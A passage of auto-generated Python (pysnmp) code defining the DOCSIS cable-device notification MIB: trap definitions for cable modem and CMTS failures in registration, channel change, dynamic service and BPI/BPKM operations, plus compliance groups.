if mibBuilder.loadTexts: docsDevCmTODFailNotif.setDescription('A notification to report the failure of a time of day\n\n\n\n operation.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsDevServerTime: the IP address of the time server.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmDCCReqFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 14)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmDCCReqFailNotif.setDescription(' A notification to report the failure of a dynamic channel\n change request during the dynamic channel change process\n on the CM.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n\n\n\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmDCCRspFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 15)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmDCCRspFailNotif.setDescription('A notification to report the failure of a dynamic channel\n change response during the dynamic channel\n change process on the CM.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n\n\n\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n connected).\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmStatusModulationType: the upstream modulation\n methodology used by the CM.\n ')
docsDevCmDCCAckFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 2, 0, 16)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmCmtsAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusDocsisOperMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmDCCAckFailNotif.setDescription('A notification to report the failure of a dynamic channel\n change acknowledgement during the dynamic channel\n change process on the CM.\n\n This notification sends additional information about\n the event by including the following objects in its\n\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - ifPhysAddress: the MAC address of the cable\n interface of this cable modem.\n - docsIfCmCmtsAddress: the MAC address of the CMTS\n to which the CM is connected (if there is a cable\n card/interface in the CMTS, then it is actually the\n MAC address of the cable interface to which it is\n\n\n\n connected).\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmStatusDocsisOperMode: the QOS level (1.0, 1.1)\n that the CM is operating in.\n - docsIfCmtsCmStatusModulationType the upstream modulation\n methodology used by the CM.\n ')
docsDevCmtsInitRegReqFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 3, 0, 1)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusMacAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusDocsisRegMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmtsInitRegReqFailNotif.setDescription('A notification to report the failure of a registration\n request from a CM during the CM initialization\n process that was detected on the CMTS.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - docsIfCmtsCmStatusMacAddress: the MAC address of the CM\n with which this notification is associated.\n - ifPhysAddress: the MAC address of the CMTS\n (if there is a cable card/interface in the CMTS,\n then it is actually the MAC address of the cable\n interface that connected to the CM) cable interface\n connected to the CM.\n - docsIfCmtsCmStatusDocsisRegMode: the QOS level (1.0, 1.1)\n that the reporting CM is operating in.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n\n\n\n - docsIfCmtsCmStatusModulationType: the upstream\n modulation methodology used by the CM.\n ')
docsDevCmtsInitRegRspFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 3, 0, 2)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusMacAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusDocsisRegMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmtsInitRegRspFailNotif.setDescription('A notification to report the failure of a registration\n response during the CM initialization\n process that was detected by the CMTS.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - docsIfCmtsCmStatusMacAddress: the MAC address of the CM\n with which this notification is associated.\n - ifPhysAddress: the MAC address of the CMTS\n (if there is a cable card/interface in the CMTS,\n then it is actually the MAC address of the cable\n interface that connected to the CM) cable interface\n connected to the CM.\n - docsIfCmtsCmStatusDocsisRegMode: the QOS level (1.0, 1.1)\n that the reporting CM is operating in.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmtsCmStatusModulationType: the upstream\n modulation methodology used by the CM.\n ')
docsDevCmtsInitRegAckFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 3, 0, 3)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusMacAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusDocsisRegMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmtsInitRegAckFailNotif.setDescription('A notification to report the failure of a registration\n acknowledgement from the CM during the CM\n initialization process that was detected by the CMTS.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - docsIfCmtsCmStatusMacAddress: the MAC address of the CM\n with which this notification is associated.\n - ifPhysAddress: the MAC address of the CMTS\n (if there is a cable card/interface in the CMTS,\n then it is actually the MAC address of the cable\n interface that connected to the CM) cable interface\n connected to the CM.\n - docsIfCmtsCmStatusDocsisRegMode: the QOS level (1.0, 1.1)\n that the reporting CM is operating in.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmtsCmStatusModulationType: the upstream\n modulation methodology used by the CM.\n ')
docsDevCmtsDynServReqFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 3, 0, 4)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusMacAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusDocsisRegMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmtsDynServReqFailNotif.setDescription('A notification to report the failure of a dynamic service\n request during the dynamic services process\n that was detected by the CMTS.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - docsIfCmtsCmStatusMacAddress: the MAC address of the CM\n with which this notification is associated.\n - ifPhysAddress: the MAC address of the CMTS\n (if there is a cable card/interface in the CMTS,\n then it is actually the MAC address of the cable\n interface that connected to the CM) cable interface\n connected to the CM.\n - docsIfCmtsCmStatusDocsisRegMode: the QOS level (1.0, 1.1)\n that the reporting CM is operating in.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmtsCmStatusModulationType: the upstream\n modulation methodology used by the CM.\n ')
docsDevCmtsDynServRspFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 3, 0, 5)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusMacAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusDocsisRegMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmtsDynServRspFailNotif.setDescription('A notification to report the failure of a dynamic service\n response during the dynamic services process\n that was detected by the CMTS.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - docsIfCmtsCmStatusMacAddress: the MAC address of the CM\n with which this notification is associated.\n - ifPhysAddress: the MAC address of the CMTS\n (if there is a cable card/interface in the CMTS,\n then it is actually the MAC address of the cable\n interface that connected to the CM) cable interface\n connected to the CM.\n - docsIfCmtsCmStatusDocsisRegMode: the QOS level (1.0, 1.1)\n that the reporting CM is operating in.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmtsCmStatusModulationType: the upstream\n modulation methodology used by the CM.\n ')
docsDevCmtsDynServAckFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 3, 0, 6)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusMacAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusDocsisRegMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmtsDynServAckFailNotif.setDescription('A notification to report the failure of a dynamic service\n acknowledgement during the dynamic services\n process that was detected by the CMTS.\n\n This notification sends additional information about\n the event by including the following objects in its\n\n\n\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - docsIfCmtsCmStatusMacAddress: the MAC address of the CM\n with which this notification is associated.\n - ifPhysAddress: the MAC address of the CMTS\n (if there is a cable card/interface in the CMTS,\n then it is actually the MAC address of the cable\n interface that connected to the CM) cable interface\n connected to the CM.\n - docsIfCmtsCmStatusDocsisRegMode: the QOS level (1.0, 1.1)\n that the reporting CM is operating in.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmtsCmStatusModulationType: the upstream\n modulation methodology used by the CM.\n ')
docsDevCmtsBpiInitNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 3, 0, 7)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusMacAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusDocsisRegMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmtsBpiInitNotif.setDescription('A notification to report the failure of a BPI\n initialization attempt during the CM registration process\n that was detected by the CMTS.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n\n\n\n - docsDevEvText: a textual description of the event.\n - docsIfCmtsCmStatusMacAddress: the MAC address of the CM\n with which this notification is associated.\n - ifPhysAddress: the MAC address of the CMTS\n (if there is a cable card/interface in the CMTS,\n then it is actually the MAC address of the cable\n interface that connected to the CM) cable interface\n connected to the CM.\n - docsIfCmtsCmStatusDocsisRegMode: the QOS level (1.0, 1.1)\n that the reporting CM is operating in.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmtsCmStatusModulationType: the upstream\n modulation methodology used by the CM.\n ')
docsDevCmtsBPKMNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 3, 0, 8)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusMacAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusDocsisRegMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmtsBPKMNotif.setDescription('A notification to report the failure of a BPKM operation\n that is detected by the CMTS.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - docsIfCmtsCmStatusMacAddress: the MAC address of the CM\n with which this notification is associated.\n - ifPhysAddress: the MAC address of the CMTS\n (if there is a cable card/interface in the CMTS,\n then it is actually the MAC address of the cable\n interface that connected to the CM) cable interface\n\n\n\n connected to the CM.\n - docsIfCmtsCmStatusDocsisRegMode: the QOS level (1.0, 1.1)\n that the reporting CM is operating in.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmtsCmStatusModulationType: the upstream\n modulation methodology used by the CM.\n ')
docsDevCmtsDynamicSANotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 3, 0, 9)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusMacAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusDocsisRegMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmtsDynamicSANotif.setDescription('A notification to report the failure of a dynamic security\n association operation that is detected by the CMTS.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - docsIfCmtsCmStatusMacAddress: the MAC address of the CM\n with which this notification is associated.\n - ifPhysAddress: the MAC address of the CMTS\n (if there is a cable card/interface in the CMTS,\n then it is actually the MAC address of the cable\n interface that connected to the CM) cable interface\n connected to the CM.\n - docsIfCmtsCmStatusDocsisRegMode: the QOS level (1.0, 1.1)\n that the reporting CM is operating in.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n\n\n\n - docsIfCmtsCmStatusModulationType: the upstream\n modulation methodology used by the CM.\n ')
docsDevCmtsDCCReqFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 3, 0, 10)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusMacAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusDocsisRegMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmtsDCCReqFailNotif.setDescription('A notification to report the failure of a dynamic channel\n change request during the dynamic channel\n change process and is detected by the CMTS.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - docsIfCmtsCmStatusMacAddress: the MAC address of the CM\n with which this notification is associated.\n - ifPhysAddress: the MAC address of the CMTS\n (if there is a cable card/interface in the CMTS,\n then it is actually the MAC address of the cable\n interface that connected to the CM) cable interface\n connected to the CM.\n - docsIfCmtsCmStatusDocsisRegMode: the QOS level (1.0, 1.1)\n that the reporting CM is operating in.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmtsCmStatusModulationType: the upstream\n modulation methodology used by the CM.\n ')
docsDevCmtsDCCRspFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 3, 0, 11)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusMacAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusDocsisRegMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmtsDCCRspFailNotif.setDescription('A notification to report the failure of a dynamic channel\n change response during the dynamic channel\n change process and is detected by the CMTS.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n\n - docsIfCmtsCmStatusMacAddress: the MAC address of the CM\n with which this notification is associated.\n - ifPhysAddress: the MAC address of the CMTS\n (if there is a cable card/interface in the CMTS,\n then it is actually the MAC address of the cable\n interface that connected to the CM) cable interface\n connected to the CM.\n - docsIfCmtsCmStatusDocsisRegMode: the QOS level (1.0, 1.1)\n that the reporting CM is operating in.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmtsCmStatusModulationType: the upstream\n modulation methodology used by the CM.\n ')
docsDevCmtsDCCAckFailNotif = NotificationType((1, 3, 6, 1, 2, 1, 132, 3, 0, 12)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvLevel"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvId"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevEvText"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusMacAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "ifPhysAddress"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusDocsisRegMode"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfDocsisBaseCapability"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsIfCmtsCmStatusModulationType"),))
if mibBuilder.loadTexts: docsDevCmtsDCCAckFailNotif.setDescription('A notification to report the failure of a dynamic channel\n change acknowledgement during the dynamic channel\n change process and is detected by the CMTS.\n\n This notification sends additional information about\n the event by including the following objects in its\n varbinding list.\n - docsDevEvLevel: the priority level associated with the\n event.\n - docsDevEvId: the unique identifier of the event that\n occurred.\n - docsDevEvText: a textual description of the event.\n - docsIfCmtsCmStatusMacAddress: the MAC address of the CM\n with which this notification is associated.\n - ifPhysAddress: the MAC address of the CMTS\n (if there is a cable card/interface in the CMTS,\n then it is actually the MAC address of the cable\n interface that connected to the CM) cable interface\n connected to the CM.\n - docsIfCmtsCmStatusDocsisRegMode: the QOS level (1.0, 1.1)\n that the reporting CM is operating in.\n - docsIfDocsisBaseCapability: the highest\n version of the DOCSIS specification (1.0, 1.1, 2.0)\n that the device is capable of supporting.\n - docsIfCmtsCmStatusModulationType: the upstream\n modulation methodology used by the CM.\n ')
docsDevNotifConformance = MibIdentifier((1, 3, 6, 1, 2, 1, 132, 4))
docsDevNotifGroups = MibIdentifier((1, 3, 6, 1, 2, 1, 132, 4, 1))
docsDevNotifCompliances = MibIdentifier((1, 3, 6, 1, 2, 1, 132, 4, 2))
docsDevCmNotifCompliance = ModuleCompliance((1, 3, 6, 1, 2, 1, 132, 4, 2, 1)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmNotifControlGroup"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmNotificationGroup"),))
if mibBuilder.loadTexts: docsDevCmNotifCompliance.setDescription('The compliance statement for CM Notifications and Control.')
docsDevCmNotifControlGroup = ObjectGroup((1, 3, 6, 1, 2, 1, 132, 4, 1, 1)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmNotifControl"),))
if mibBuilder.loadTexts: docsDevCmNotifControlGroup.setDescription('This group represents objects that allow control\n over CM Notifications.')
